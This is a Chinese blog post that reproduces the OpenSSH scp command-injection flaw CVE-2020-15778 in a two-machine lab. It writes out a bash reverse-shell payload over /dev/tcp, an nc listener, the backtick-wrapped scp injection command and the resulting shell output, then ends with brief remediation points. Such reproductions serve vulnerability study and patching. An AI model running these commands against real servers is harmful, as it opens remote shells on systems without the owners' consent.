OpenSSH命令注漏洞(复现篇)

1:说明及分析

漏洞编号:CVE-2020-15778
漏洞级别:高危
漏洞描述:OpenSSH8.9p1及之前版本中scp的scp.c文件存在操作系统命令注入漏洞。
		该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。
		攻击者可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。
		
漏洞分析:使用scp复制文件到远程服务器时,在scp命令后面跟上文件的路径,具体格式如下:
		scp Filename user@host:directory/Filename
		攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时payload将会发送到远程服务器并执行。

2:实战环境

source 10.0.0.10
server 10.0.0.11
1:首先确定服务器存在nmap软件(使用nc功能)(source和server)(可以使用yum或者apt安装nmap自带)
yum install -y nmap

2:在source机器制作payload,shell脚本如下
bash -i >& /dev/tcp/10.0.0.10/8888 0>&1
# 制作脚本
[root@source ~]# cat << eof>>payload.sh
bash -i >& /dev/tcp/10.0.0.10/8888 0>&1
eof

3:使用scp上传脚本到服务器
[root@source ~]# scp payload.sh root@10.0.0.11:/tmp/
root@10.0.0.11's password: 
payload.sh                                                    100%   40    37.9KB/s   00:00

# 这里说两点问题
1:为什么不直接登录服务器
	答:前面讲了,限制SSH登录的时候
2:为什么上传到服务器的tmp目录下
	答:因为tmp目录对所有用户都有读写执行的权限
	

4:在source服务器监听8888端口,(这里的监听一定要和上面脚本匹配,否则无法反弹)
[root@source ~]# nc -lvvp 8888
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888

# 从此时再次打开一个source的终端去执行我们的payload
[root@source ~]# scp payload.sh root@10.0.0.11:'`sh /tmp/payload.sh`'
root@10.0.0.11's password: 

# 这里会卡住,然后我们返回监听的终端再看一下
[root@source ~]# nc -lvvp 8888
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 10.0.0.11.
Ncat: Connection from 10.0.0.11:34642.
bash: no job control in this shell
[root@server ~]# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:07:2a:90 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.11/8 brd 10.255.255.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::fb52:3261:d026:fd4a/64 scope link tentative noprefixroute dadfailed 
       valid_lft forever preferred_lft forever
    inet6 fe80::3dfc:7872:113d:c769/64 scope link tentative noprefixroute dadfailed 
       valid_lft forever preferred_lft forever
    inet6 fe80::ecc5:6970:d857:1f9f/64 scope link tentative noprefixroute dadfailed 
       valid_lft forever preferred_lft forever

# 发现主机名变了,这个时候我们就是反弹shell成功了,这就意味着我们反弹shell成功了

3:总结与修复建议

总结:该漏洞有很大的局限性,正常情况下,如果通过各种方式拿到了root密码,一般不会禁用ssh服务,直接连接获取权限即可。但是该漏洞在一些特殊环境下,或许可以利用该漏洞获取权限,该漏洞的版本覆盖范围非常广。

1:Linux升级OpenSSH修复高危漏洞
2:Ubuntu进行openssh漏洞修复
3:加强对用户木马的保护
posted @ 2022-06-30 18:57  Layzer  阅读(1608)  评论(0编辑  收藏  举报